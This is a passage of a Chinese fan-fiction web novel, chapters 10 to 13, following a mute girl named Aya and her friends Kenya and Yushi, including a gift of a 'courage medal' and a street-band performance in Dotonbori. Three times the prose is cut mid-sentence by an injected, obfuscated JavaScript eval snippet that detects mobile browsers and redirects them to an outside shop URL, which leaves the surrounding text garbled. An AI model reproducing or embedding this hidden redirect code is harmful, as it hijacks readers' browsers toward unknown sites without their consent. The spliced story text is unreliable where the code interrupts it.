他吞了吞口水,小心翼翼地开口:“小彩……你,你不会是……” 他吞吞吐吐半天也没能说出个所以然来,弄得片桐彩一头雾水。 ‘是什么?’ 小彩关切地望着坐在她对面的朋友:‘谦也,你怎么了?是身体不舒服吗?’ “不……没什么。” 忍足谦也艰难地扶着额,一副视死如归的模样。 他突然抓住了女孩的手,坚定地开口:“小彩,就算你是能看到妖鬼的灵能力者我也会是你最好的朋友!” 大约是终于把自己想说的话说出口,他重重地舒了一口气。 小彩满眼写满了问号,忍足侑士则不忍直视般捂住了脸。 又来了…… 也不知道他又在他小得可怜的瓜子仁脑袋里想到什么奇怪的东西了。 该说谦也不愧是关西人吗,犯傻这不是挺在行的…… 侑士无力吐槽,重重地拍了一下傻瓜堂弟的背:“我说你啊,真是……以后包装一下漫才出道说不定是个好选择。” “不要给我摆老前辈的谱啊喂!你和我只差几个月哦?只有几个月哦?!” 忍足谦也不满地推开堂哥的手,嘟嘟囔囔地说道:“本来就是嘛……小彩是灵能力者吧?我看电视里就有那种的情况,主角是灵能力者,能看到别人看不到的东西。” “但是主角身边的人看不到,觉得他在说谎,主角因此陷入了痛苦的深渊……” “我觉得那样的结局不对,”他絮絮叨叨的:“既然是同伴就应该多信任伙伴一点吧?同伴不正是因为这个才叫‘同伴’吗?” “就算小彩能看到我们看不到的东西,我也会一直信任小彩的,我们是好朋友嘛。” “所以,小彩,”他郑重地握住片桐彩的双手,一脸坚毅:“你……你要给我们介绍的是你的……唔……是你的妖鬼朋友吗?” 他的声音发颤,黛蓝色的眸子时不时地向后瞥去一眼,像是在用余光观察着什么。 忍足侑士面无表情地看着他:“谦也,你不是怕鬼吧。” “怎么可能!我只是……只是对要见到新朋友感到有点紧张而已!”他越说越笃定,“对!就是因为要见新朋友紧张!这不是很正常吗?我可是非常腼腆的!” 忍足侑士无语地托着脸,懒得再管他。 片桐彩终于明白了为什么谦也说了这么一大通奇奇怪怪的话。 谦也攥着她攥得太紧了,她好不容易才从他手里把自己的手抢救出来。 她拍了拍他的背,示意他转过身来。 忍足谦也慢腾腾地按照她的指示转身,心里不住地打鼓。 要命了,小彩不会真的要给他介绍什么妖鬼之类的东西吧…… 他极力地保持镇定。 镇定……镇定…… 不能被侑士嘲笑…… 他垂着脑袋,紧紧地抿着唇,一双手突然凑到了他的眼前,把他吓得往后一仰。 要不是侑士帮着托了一下他的脑袋,他的后脑勺大概就遭殃了。 “啊,抱歉!”忍足谦也担忧地地望向堂哥:“那个……谢了,你的手没事吧?” 忍足侑士不动声色地把手背到身后,转移了话题:“没事,小彩,你手里的是什么?” 众人的注意力一下子就集中到片桐彩手中的那个兔绒小窝上。 她无措地把小窝捧到他们面前,眼睛紧紧地黏在坐在右边的侑士身上。 忍足谦也定睛一看,一颗莹润洁白的小石头出现在他的视野里。 他好奇地打量着这颗在海边随随便便就能捡到的小石头:“这就是小绊吗?” 小彩点点头:‘嗯,这是我的好朋友,和侑士、谦也一样的好朋友。’ 她本想看看忍足侑士手的情况,却又一次被他岔开了。 “原来如此,小彩和小绊是怎么认识的呢?”侑士问道:“你们认识多久了?” 小彩仰着脸想了想:‘我和小绊认识好久好久了,在妈妈的肚子里就认识了。它以前是妈妈的伙伴,现在是我的伙伴——应该算一出生就认识了吧?我也不知道。’ “哇——那它应该是小彩的哥哥?或者姐姐?”忍足谦也努力梳理着关系:“它是同你一道长大的欸,你们关系应该很好吧。” 小彩重重地点点头,兴致勃勃地和谦也说起了她和小绊之间的趣事。 忍足侑士在一旁静静地看着他们说话,手背传来的隐隐的痛感令他有些不安。 “那个长头发的孩子,过来。” 片桐纪久在门口小声唤了一声,冲着他招了招手。 他看了眼正谈得热火朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547774|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的两人,悄悄地走到片桐纪久跟前。 片桐纪久手里捏着一个可爱的小黄鸡毛巾,里面似乎裹着冰袋,还未靠近就感受到一阵凉意。 他捏起忍足侑士当时垫在谦也脑后的手,仔细地翻覆着。 “我听小彩姑姑说你要去参加什么乐器比赛?”他把冰袋覆在小孩的手背上:“手得好好保护才行,砸得不重,敷一会儿防止红肿就好。” 忍足侑士轻抽了一口气,小声地同他道谢。 他不太擅长和片桐纪久这样的长辈相处,两人就这么沉默了一会儿。 他离开自己的位置,里面的两人一早就发现了,他们也凑在门边,担忧地望着他。 两个小傻瓜齐刷刷地蹙着眉,眸中满是关切。 忍足谦也脸上写满了愧疚,仿佛下一秒就要去切腹谢罪一般。 ‘侑士的手伤得很严重吗?’ 小彩沮丧地比划着:‘都是我的错……要不是我吓到谦也,侑士的手就不会受伤了。’ “不是小彩的错,这只是一个意外,”忍足侑士冲着她安抚似的笑笑,转而又望向一旁垂头丧气的谦也:“这分明都是谦也的错,这个世界上根本就没有鬼,谁让他那么容易就被吓到了——哈,谦也,记得请我喝椰奶西米露。” “哈?要我请?!”忍足谦也下意识想要顶嘴,他的目光在堂哥的手上轻扫了一下,最终还是熄了火:“那种事情完全就是小事一桩……喂,侑士,你真的没关系吗?” 忍足侑士挑眉:“难道你还盼着我有事?” “怎么可能!” 忍足谦也气恼地瞪了他一眼,再怎么说他们也是兄弟好不好! 他怎么可能会盼着兄弟不好啊! 谦也好像恢复精神了……太好了。 片桐彩悄悄松了一口气。 她想了想,“啪嗒啪嗒”地跑去柜子旁取出了一只精致的盒子,又“啪嗒啪嗒”地跑回来,把盒子塞到忍足侑士的怀里。 他好奇地瞥了盒子一眼:“这是给我的吗?” 小彩重重地点点头。 “我可以打开看看吗?” ‘当然可以。’ 盒子并不难开,忍足侑士一只手就解开了盒子的搭扣,一枚羽毛制成的胸针映入眼帘。 蓝色的羽毛很柔软,也很小巧,五片五片地拼在一起,凑成一朵朵小花簇在一起。 是蓝雪花。 制作的手法并不太高明,看起来大概是小孩子做的,镶边并不稳当。 大概率是小彩自己做的。 他好心情地勾了勾唇,眉眼间满是放松的笑意:“谢谢小彩,我很喜欢——怎么突然想到送我这个?” 小彩抿着唇,羞怯地笑了笑:‘感觉侑士好像挺喜欢这种花的,就做了这个……本来是想要作为赛后礼物送给你的。’ 他望着她:“小彩现在是在安慰我吗?” ‘不,这是勋章,勇气勋章。’ 片桐彩思索了几秒,跟着满目认真地望向他:‘侑士保护谦也,被砸到很痛也没有哭,很勇敢;蓝雪花也是勇敢的花——所以这是勇气勋章,不是安慰。’ 忍足侑士的目光在她的脸上停留了一会儿,浓绀色的眸子沉沉,叫人看不透他内心所想。 他眉眼松弛,唇角上扬的弧度更大了些:“那小彩大王可以给我授勋吗?” 小彩困惑地眨了眨眼:‘要像电视里那样摆很大的场面吗?那我要先准备准备哦。’ “不用,”他的声音柔和:“小彩明天早上给我戴吧?在我出发之前。” “明天以后,小彩大王就有两个‘骑士’了。” 11.第 11 章 侑士离开的第三天,小彩开始感到无聊了。 她百无聊赖地趴在窗边往外看,映入眼帘的依旧是满目的鲜花,花瓣上缀着清晨的露水,日光渐渐地偏移过来,每一朵花都像是嵌着钻石般耀眼夺目。 侑士一走,好像整个世界都变得安静下来。 每天早晨没有他和家人告别的声音,每天傍晚也没有他练琴的声音,就连整个街区都沉寂下来了。 平日里总是叽叽喳喳唱着歌的小鸟不唱歌了,周围居民的寒暄声也少得可怜。 真奇怪。 片桐彩撇撇嘴,她收回投注在花墙上的目光,继续在画册上写写画画。 她答应也要为谦也设计一个饰品,可到现在她都没什么头绪。 她给侑士选择蓝雪花,不仅仅是因为他喜欢这种花,也是因为她觉得他的气质和蓝雪花非常相合。 蓝雪花是冷色的,冷色沉着冷静,花朵优雅美观,就像侑士本人一样。 那谦也呢? 谦也……热情,率真,稍微有一点点急性子,什么元素适合他呢? 片桐彩眉间含着些许愁绪,笔尖在纸面上轻点着,留下一簇簇铅灰色的痕迹。 想不到。 她沮丧地趴在窗台上,纸张在她的怀中发出细碎的“娑娑”声。 她的目光在虚空中随便找了一个落点,呆呆地盯着那一点发呆。 一道声音从楼下冲进她的耳朵,令她回过神来。 “小彩——” 她顺着声音往下望去,是谦也。 他今天穿的衣服和平日里的穿着很不一样,看起来有点酷。 忍足谦也仰着脸望向她,冲着她挥了挥手:“出来玩吧?我带你去一个很有趣的地方!” 很有趣的地方? 片桐彩好奇地歪了歪头,她做了个“等一等”的手势,紧接着就消失在他的视野里。 忍足谦也站在片桐家院门口站了十几秒就站不住了,来回地踱着步,脖子上挂着的项链丁零当啷地响着,成功地融入了鸟雀的鸣啼声中。 门口传来了些微的响声,他立刻停住了脚步,乖巧地站在门口。 门开了,小彩白生生的小脸在门内探了出来。 ‘让你久等了,谦也,’她比划着:‘我们今天去哪里呀?’ “很有趣的地方!” 忍足谦也打量着她身上的小羊印花睡衣,歪着脑袋想了一会儿,犹犹豫豫地问道:“小彩,你今天打算穿这个出门吗?” 片桐彩连连摆手:‘当然不是,我只是怕你等急了……先进来吧?等我换好衣服我们再一起去。’ 闻言,他的眼睛“噌”的一下亮了起来:“那,我可以帮小彩选选看今天要穿的衣服吗?” 好闪,好热情…… 小彩放在身侧的小手不安地蹭了蹭裤缝。 谦也的品味一直都挺不错的,让他选一次好像也没什么关系吧? 反正只是衣服嘛。 家里的衣服都很好看,就算是胡乱搭配,应该也不会很灾难。 这么想着,她爽快地应下。 两个人手牵手走进家里。 片桐沙友理早早就去店里工作了,不在家,片桐纪久则是又回了东京——他的公司在东京,虽然在大阪陪女儿的时间增加了,但他每周还是有三天的时间要去东京处理公司事务。 家里冷冷清清的,除了小彩以外,只有小狗骑士在家。 见谦也进来,它热情地凑了过来,围着小彩和谦也打转。 忍足谦也熟练地挼了挼它的脑袋,“好乖好乖,不过今天我就先不陪你玩咯,还有别的事情要做。” 骑士像是听懂了他的话,耷拉着耳朵回到自己的小窝里,用爪子揽着自己的小狗玩具,乖乖趴下了。 看着好可怜…… 片桐彩的心像是被棉花包裹住一般,软蓬蓬的。 她望了望可怜兮兮的小萨摩耶,又望了望一旁眼神坚定的好朋友,最终还是没忍住,对着小狗做了一个“过来”的手势。 骑士的耳朵一下就立了起来,它含着玩具,兴冲冲地跑了过来。 面前的两双眼睛里都带了些渴望祈求,忍足谦也无奈地叹了口气。 “哈……好吧,”他拿起它丢到地上的玩具,“我只陪你玩几分钟哦——今天我有很重要的东西要带小彩去看,不能耽误太久。” 骑士兴奋地“汪”了一声,像是应下了他的话。 他陪着小狗玩了几分钟拉力器,身上蹭上了些小狗洁白蓬松的毛毛。 他捏着那些毛毛,随手贴到了站在一旁的小彩脸上:“小彩,你和骑士好像哦。” 片桐彩拂了拂脸上痒痒的部分,那撮白色的狗毛在空中散开,轻飘飘地落到地上:‘哪里像?’ “我昨天回家的时候,看到衣服上有你的头发,”忍足谦也回忆着,用手指比出大致的长度:“大概这么长,白色的,还是卷卷的,肯定不是骑士的毛毛。” 说着,他又笃定地点点头:“绝对是你的头发,可能是昨天靠在一起的时候掉到我身上的吧。” ‘……’ 片桐彩沉默了一瞬,她一头雾水地比划道:‘这之间有什么关联吗……?’ “关联可大了!”忍足谦也一本正经道:“你看啊,你是白头发,骑士也是白……唔,白毛;你掉头发,骑士也掉;你总是要和我靠在一起,骑士也总是要和我靠在一起……” “小彩,你好像小狗。” 小彩……小彩沉默了。 虽然她一直都是沉默着的,但此时此刻她甚至连一个手语都比划不出来。 好荒诞,好微妙。 她说不出自己的感受……像小狗是什么好事吗? 她把谦也当朋友,谦也把她当小狗。 一种诡异的憋屈感萦绕在她的心头,甚至令她有种想要开口反驳的念头。 她翕动了几下嘴唇,最终还是放弃了。 但是不能就这样放过谦也! 片桐彩气哼哼地瞪着一旁一脸无辜的、不知道是想到了什么,傻乐个不停的好朋友,一脑袋撞了上去。 说是撞,其实也并没有用多大的力道,她怕伤到对方,只是不轻不重地把头蹭到了他的颈边。 她在谦也的脖颈间蹭来蹭去的,蓬松的头发像是一把柔软的羊毛刷,蹭得他有些痒痒。 “呜啊,小彩,你弄得我好痒!”忍足谦也慌乱地推了推她的脑袋,“真变小狗了?” 听到“小狗” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552761|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个字,她似乎更加来劲了。 小狗缠人,她也缠人,她就要烦死谦也! 谁叫他把她当小狗的! 真是太可恶了! 忍足谦也把她往外推了推。 他毕竟是个经常运动的小男孩,力道肯定要比不常运动的小女孩要大一些,他怕伤到她,不敢用太大的力道。 真的好像小狗啊。 他一脸为难地垂着眼睛望向扎在他怀里的好朋友。 这样更像了。 片桐彩蹭了一会儿,弄得他连打了三个喷嚏才满意地收手。 ‘不许再说我是小狗了,’她得意地昂着头,比划道:‘要是再有下次,我还会这样狠狠地挠你痒痒!’ 忍足谦也眼泪汪汪地捂着鼻子:“原来是因为这个……但是你真的很……” “像”字还没脱口,面前的女孩就又一副跃跃欲试的样子,他火速收回了自己刚才的话,把话题转向别处:“啊,那个,时间差不多了,小彩先去换衣服吧?” 小彩大人宽宏大量地放过了他,牵着他的手,“啪嗒啪嗒”地跑上了楼。 片桐彩的衣服很多,甚至辟出了一个单独的大衣帽间给她放自己的衣服。 忍足谦也第一次来的时候就被她带着参观了这里,见到的时候也不怎么意外。 无他,只是他们在一起玩的这些天里,小彩每天的穿着都不重样,他甚至没见她戴过同一顶帽子、用过同一根发绳。 “小彩,你刚才答应的哦,今天我来给你选你今天要穿的衣服,”他推着小彩在矮沙发上坐下:“你放心,我绝对会给你挑一身好看的衣服!” 片桐彩乖巧地顺着他的意思坐下,眼睛却一眨不眨地盯着他看。 ‘我相信谦也。’她比划道。 真的吗? 忍足谦也半信半疑地望着她,怎么感觉她好像有点紧张…… 她催促着小伙伴:‘不是说要带我去很有趣的地方吗?再不快点的话就要到午餐时间了。’ “噢,好!” 忍足谦也一头扎进了衣服的海洋,周围架着的饰品在灯光的映射下闪闪发亮。 小彩无聊地摆弄着散落在小几上的发夹,一个叠着一个,玩起了叠叠乐。 谦也也没叫她等太久,很快他就拿着一套衣服走了出来。 她好奇地望过去,隐隐约约能辨认出那是一套衣裤的组合。 “小彩,今天就穿这一套吧?”忍足谦也兴奋地把衣服递给她,“很适合我们今天要去的地方。” 适合今天要去的地方? 小彩捏着衣服的袖口,疑惑地望向他。 然而小伙伴并未接收到她的讯号,冲着她摆摆手:“我在外面等你哦。” 说罢,他便走到外面去给她腾出空间,还贴心地为她关上了门。 小彩盯着这身简便的工装,好看是好看,但是她平时不会穿的风格——她喜欢穿裙子,各式各样的可爱裙子。 这是谁买的来着? 小彩想不起来。 她磨蹭了一下,最终还是选择穿上。 希望谦也要带她去的地方能够对得起她那些正在哭泣的、漂亮的裙子,不然她也会跟着一起哭的。 烦死他。 12.第 12 章 片桐彩怎么也没有想到,忍足谦也要带着她来的地方竟然是道顿堀。 正值暑假,来往的游客多得吓人,两个小小的孩子手牵手如游鱼般穿梭在人群之中,很快就抵达了忍足谦也口中的“有趣的地方”。 她过去是来过这里的,和爸爸一起。 她记得这些颜色格外鲜明的、有趣的广告牌。 小彩仰着脸,总感觉格力高看板上那个巨大的、振臂而来的300米跑者下一秒就要把她踩在脚下。 这附近大约是有什么乐队正在进行表演,不断传来轻快的鼓点声。 乐音随着风飘忽着进入她的耳朵,但周围实在是过于嘈杂了,她没能从键盘主导的前奏里听出究竟是什么歌。 “小彩,抓紧我哦,”忍足谦也走在她身前为她开路,没走几步又不放心地回过头来看她两眼:“我也会抓紧你的,不要害怕。” 片桐彩信任地点点头。 她确实有些紧张。 她今天戴的帽子也是谦也选的,是一顶鸭舌帽,不像她常戴的阔檐帽有系带可以收紧。 这里的人实在是太过密集,她长得又不够高,她很担心一个不小心帽子就被行人的手打掉。 小彩紧紧地拉着谦也的手,手心甚至因为紧张而出了些汗。 谦也似乎常来这附近,对此适应得很好,他带着她熟门熟路地来到靠近河边的位置。 原本飘渺的乐声渐渐凝实,电吉他强烈的音声冲入了她的耳朵。 忍足谦也牵着她的手,熟悉地找了个位置待着,乐手们似乎也都认识他,贝斯手见到他,甚至还友好地冲着他笑了笑。 “就是这里吗?”小彩趴在他的耳边,“你是要带我来看演出吗?” 黑发男孩伸手挠了挠被好朋友的吐息弄得痒痒的耳朵,重重地点头:“算是吧……小彩,你怕不怕吵?” “还好啦,”她把谦也的手臂揽在怀里,放松一下疲劳的手指:“这是什么乐队呢?” “RE?FISH——我们是四天宝寺轻音部的部员啦。” 一只大手摁住她的头,紧跟着,一张格外艳丽的脸出现在她的面前。 片桐彩呆呆地望着眼前这张雌雄莫辨的美丽脸孔,心脏“咚咚”地弹跳着。 她无所适从地捂住心口。 好漂亮的人。 “是第一次来吗?”那人轻勾着唇角,酒红色的头发不经意间落下两缕搭在她的肩上,她声音沙沙的:“我好像第一次在这里见到你。” “啊!赤楚姐!你吓到我的朋友了!” 忍足谦也紧张地把像个小呆瓜一样的小彩护在身后,气恼地瞪了一眼眼前的高中女生:“不要随便动手动脚的!” 赤楚辉弓双手穿过小彩的腋下,随手拔起她,把她高高地举起来,又轻飘飘地瞥了一眼谦也。 她轻笑一声,什么都没说,却好像什么都说了。 忍足谦也的脸被气得涨红,他气呼呼地跑到贝斯手身边,重重地拽了拽他的衣摆:“境原哥你看她!” 境原御斗好脾气地揉揉他的脑袋,抬眼望向赤楚辉弓:“辉弓,把谦也的朋友放下吧,这样举着她会痛的。” 赤楚辉弓才不管他,她轻哼一声,扭脸对上手里这个乖巧小孩的视线:“你痛吗?” 小彩再次受到美貌暴击,大姐姐身上的玫瑰花香透过鼻子勾缠住她的思绪,把她的脑袋弄得晕晕乎乎的,什么都想不起来。 她呆呆地摇了摇头。 赤楚辉弓满意地把她揽在怀里,挑衅似的冲着他们扬了扬眉:“她说不痛,我抱会儿怎么了?” 说着她又望向一脸愤愤的谦也:“谦也是小气鬼。” 忍足谦也被她挑衅般的举动弄得气血上涌,气呼呼地跺了跺脚:“赤楚姐,你没有自己的朋友吗!那是我的好朋友!” “哦,那现在她是我的好朋友了,”赤楚辉弓笑眯眯地捏了捏怀里小女孩的脸颊,柔软的触感令她有些上瘾,又多捏了几下:“你说呢?这位可爱的小公主。” ‘不是小公主,是小彩大王!’ 片桐彩下意识蹙起了眉头。 能做大王的话,谁要做公主啊,怎么看都是大王的权力更多一点。 连爸爸都说小彩是大王呢! 她比划的那几下弄得赤楚辉弓一头雾水,但她大致明白了她不能说话这一点,又怜爱地摸了摸她的脸。 “快点把小彩放下来啦!” 见忍足谦也似乎真的要生气了,赤楚辉弓也不再逗弄他,轻手轻脚地把小彩放到地上。 谦也迅速跑到小彩身边,拉着小彩躲到他认为最靠谱的境原御斗身后。 他警惕的模样看得周围的人不由得有些发笑,鼓手土谷绩敲了两下鼓面,叫他把注意力转移过去。 “谦也,这是你的新朋友吗?”土谷绩抬了抬帽檐,笑眯眯地打量着他身后看起来傻乎乎的女孩,“不介绍一下吗?” “噢噢!好!”谦也牵着小彩的手,把她往土谷绩面前带了带:“师匠,这是我的好朋友片桐彩,你可以叫她小彩。” 片桐彩的目光在小伙伴和土谷绩之间来回睃巡着,似乎很好奇他为什么叫他“师匠”。 “你好啊,小彩,”土谷绩对着她友善地笑笑,从口袋里掏出一枚包装特别绮丽的糖果递给她:“我叫土谷绩,是这支乐队的鼓手。” 小彩没有接过那颗糖,她怯生生地躲到谦也的身后,只露出一双眼睛看着他。 不知为何,她莫名有点怕谦也的师匠,总感觉他长了一张狐狸一样的脸。 她又不确定地看了几眼。 他那双狭长的眼睛完全就和狐狸没什么两样嘛! “噗哈哈哈哈哈,土谷绩,你也有今天!”赤楚辉弓叉着腰,大声嘲笑自己的这位好友:“我们小彩可比谦也聪明多了,一眼就看出你是个一肚子坏水的家伙。” “也就谦也,还把你当成什么了不得的大好人呢,”她随手摁住谦也的脑袋,就着他毛茸茸的头发乱摸一气,“可怜的小谦也,被这种人玩弄于股掌之中……真是个小傻瓜。” 那头忍足谦也又被赤楚辉弓气得跳脚,大声嚷着“要誓死保卫师匠名誉”之类的话,又和她吵了起来。 这头小彩已经被三个高中生包围了。 她紧张地抠着手指,眼睛始终黏在地上,连眼皮都不敢抬一下。 可恶的谦也! 再这样下去,小彩也要被可恶的高中生大姐姐大哥哥玩弄于鼓掌了! 她无措地和在她面前蹲下的女高中生对视,怯生生地往后退了一步。 “月,不要吓到小孩。” 其中一个和那个女生长得很像的男子轻声提示道,女生慢吞吞地移开了眼。 她似乎是想到了什么,轻轻地捏起小彩的手晃了晃,这才正式退开。 与她长得相像的高中男生冲着她温和地笑了笑,放柔了声音:“小彩你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565677|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我叫江场星,刚才和你握手的是我的妹妹江场月,她只是觉得你很可爱,没有恶意。” 呼。 片桐彩小心翼翼地舒了口气。 天晓得她刚才有多么的紧张! ‘没关系,你们好。’ 她下意识比出一串手势,比完才想到他们可能不认识。 她羞赧地把手背后,轻轻地摇了摇头,示意他们她不介意。 江场星轻轻地摸了摸她的脑袋,和一旁站着的境原御斗对视一眼:“境原,去管管赤楚吧,让谦也过来陪着点小姑娘。” 境原御斗叹了口气,把赤楚辉弓架走,阻隔开两个正在吵架的幼稚鬼,忍足谦也这才意识到小彩没跟着他过来,迅速跑到她身边。 “抱歉,小彩,这次是我不好,我不应该把你一个人丢在这里,”他愧疚地垂着眸子:“你一定被吓到了吧?我这次绝对、绝对不会再松手了。” 片桐彩轻轻拍了拍他的脑袋,‘那谦也要一直好好牵着我才行哦。’ 谦也重重地点点头:“嗯!我一定会好好牵着你的!” 那边似乎已经闹完了,乐队的演出又接着进行下去,忍足谦也在他们的那堆东西里翻出两个小马扎,带着小彩坐下。 “小彩,你看那个!”他悄悄指了指赤楚辉弓的脑袋:“赤楚姐的红发是染的哦,是不是很酷。” 小彩盯着那头红发,真诚地点点头。 ‘真的很酷,谦也也想染那种颜色吗?’ 忍足谦也想了想:“我想每种颜色都染一遍——小彩觉得哪种颜色最适合我?等我到可以染发的年纪,我就先染那个试试看。” 小彩严肃地盯着小伙伴的脸看,看了好半天都没有动作,弄得谦也心脏越跳越快,紧张地吞了吞口水。 不妙啊,是他很不适合染发吗? 小彩怎么要想这么久? 他紧张地等待着来自好友的宣判,却迟迟没有等到。 谦也的心越跳越快越跳越快,他慌乱地别过脸,目光往别处乱瞟,试图找到一个合适的东西转移一下彼此的注意力。 恰好此刻土谷绩动作幅度太大,把没戴紧的帽子甩脱了,他连忙捧住小彩的脸,把她的视线往那边带。 “小彩,你看,是不是很酷?” 片桐彩好奇地朝那边望去,土谷绩正从容地敲着鼓,一道耀眼的银光闪过,她才发现对方也有着一头白发。 他雪白的发丝随着轻柔拂过的微风轻轻摇晃着,在太阳下熠熠生辉,周围的观众似乎对此习以为常,她甚至能看到几个女孩子满脸写着兴奋,偶尔还低声交谈些什么。 她们时不时地抬头望望表演区域,兴致浓时还会举起手机拍几张相片。 片桐彩定定地看着这一幕,脑子里突然变得很空,什么都没有了。 她的心脏“怦怦”地跳动着,胸腔中过度的震颤令她有些干渴。 她听着耳中响若惊雷的心跳声,喉间的涩然叫她想要张开嘴巴说些什么,她努力翕动了几下嘴唇,最终却还是没能发出任何一个音节。 “小彩要不要也摘下帽子试试看呢?” 好朋友的声音在她耳畔轻柔地响起,她猛然回头望向他,却对上了一双写满了认真的、关切的眼睛。 “小彩的头发和师匠的头发一样,都很酷。” 她看得见他藏在眼底的忐忑和小心。 片桐彩犹豫片刻,最终还是把手搭在了帽檐上。 13.第 13 章 片桐彩犹豫片刻,最终还是把手搭在了帽檐上。 赤楚辉弓极具穿透力的歌声带动了观众的热情,乐音与歌声相辅相成,周围的游人纷纷为之驻足。 大家的注意力好像全部聚焦在乐队身上,根本没有人注意到角落里的他们。 要取下来试试看吗? 小彩摩挲着帽檐,布料捏在手里滞涩的感觉就像她此刻踌躇未决的心。 她不是没有见过那些染着漂亮发色的大姐姐大哥哥,大多数人对此都接受良好,只有一小部分人会对着他们指指点点。 但同样的发色出现在小孩身上时,事情总是会变得麻烦得多。 讥讽的目光是会传递的,像是有一根奇妙的、她看不见的运输管道,它们总是会在一个黑天过后,从大人的眼底跑进小孩的眼里。 人们大多不喜欢异类。 爸爸说,这是因为他们畏惧于自己的平庸。 小彩不懂得什么是平庸,但她记得爸爸说过的话。 爸爸说不用在意别人的看法,那都是些没有意义的东西,不过他似乎忘记了她还只是个小孩子,小孩子总是不像大人那样坚强。 她依旧在意别人的看法,在意得不得了。 那些或嫌弃、或嘲笑的眼神始终像一只巨大的脚掌将要把她碾进泥里,就像刚才在格力高看板上见到的那个巨人一般的300米行者一样。 她的手指在布料上不断地搓拭着,指腹微微发烫,大约是攥得太紧、力道太大,她的指尖也微微泛白。 真的要取下来吗? 她紧张地又问了自己一遍,迟疑不定的心慢慢地产生了些许想要放弃的想法。 取下来的话,她或许就可以梳杂志上的那些漂亮可爱的发型了。 可戴着帽子更让她安心。 片桐彩紧张地抿着唇,最终还是紧紧地压住了帽檐。 她垂下眸子,不敢看身旁小伙伴暗含期待的眸子。 她的目光专注地黏在地砖上,试图在灰白色的地砖上找出一点不一样的色彩。 就这样吧。 就这样也好。 帽子也有很多很多好看的样式,她可以让爸爸再多给她买点漂亮的款式。 那边乐队的声音渐渐弱了下来,切了一首比较柔和的抒情曲,电钢琴的舒缓柔和的音色充斥着她的耳朵。 小彩的思绪漫天乱飞,也不知道飞去了哪里。 只是还未等她把出逃的思绪抓回来,她便被一双温热有力的手架了起来。 那人带着她往表演区走,鼻腔里馥郁的玫瑰香叫她一下子就认出了那人的身份。 赤楚辉弓一只手夹着她,一只手捏着麦克风,夹着一个小孩似乎对她造不成什么影响,她的发挥依旧很出色。 片桐彩一头雾水地被她夹到表演区,还未等她反应过来,她便被赤楚辉弓丢进了土谷绩的怀里。 土谷绩拍了拍傻愣愣的小女孩,随手塞给她一支鼓棒。 她无措地用两只手抓住鼓棒,实在是有些摸不着头脑。 “小彩,记得配合表演,”土谷绩小声道:“一会儿我叫你敲的时候你就敲几下,明白了吗?” 小彩瞬时开始紧张起来。 表演! 现在还是表演时间吧?! 她对于这种东西完全就是一窍不通,要是敲快了怎么办?没跟上节拍又要怎么办? 那样不就完全把他们的演出搞砸了吗!!! 她攥着手里的鼓棒,可怜兮兮地耷拉下眉眼,目光不断地往忍足谦也所在的方向飘去。 呜……谦也,救救小彩! 忍足谦也和她似乎完全不在同一个频道,见她望过来脸上露出了一个格外灿烂的笑。 他比了一个“加油”的手势,完全忽略了她的求助。 完蛋了…… 要是出错了怎么办嘛! 谦也是大笨蛋吗?不来救她还给她加油…… 小彩脑子里一片空白,直到土谷绩的声音在她耳边响起,她才下意识按照他的话动作,把鼓棒敲了下去。 她敲击的频率和乐声合不上,果然像她预想的那样慢了半拍,她不安地抬眼望了望土谷绩,他似乎并不在意这件事,神色如常。 他轻轻地握住她的手,带着她按照她的频率敲着,乐队的其他成员也心照不宣地做了个过渡,依着他们的节奏即兴演奏了一段。 由于衔接得过于自然,大家并未注意到这一点小小的错误,片桐彩这才舒了一口气。 土谷绩轻笑一声:“这么紧张做什么,要是没有把握,我们才不会把你带过来玩呢。” 似乎知道她不能做出语言上的回复,他也没有傻傻地等待她的回应。 他和成员们对视一眼确认了什么,跟着凑在她耳边小声道:“有个小惊喜要送给你,做好准备了吗?” 小彩好奇地仰起脸,望向这位刚认识不久的大哥哥。 小惊喜? 什么小惊喜? 不能说话实在是太麻烦了,就像是这种时候,她想要问问题都问不出来。 她难得有些生自己的气,闷闷地低下头,谁也不看了。 乐音迭起,不知不觉中已然抵达了高潮的部分,热烈的音声叫周围的人都随之躁动起来。 一只大手覆住了她的脑袋,随意地揭开了她的帽子。 眼前突然而至的明亮叫她吓了一跳,片桐彩下意识捂住了自己的脑袋,惊惶不定地闭上了眼。 乐音和人们的欢呼声融合在一起,她又被一双手捧着腋下举了起来,一双腿找不到落点,只得在半空中来来回回地晃荡着。 欢呼声愈来愈响亮,她小心翼翼地睁开一只眼,悄悄地查看现在的状况。 周围的人并未露出什么令人不安的神色,大约是以为这是表演中设计好的一环,颇为新奇地看着她。 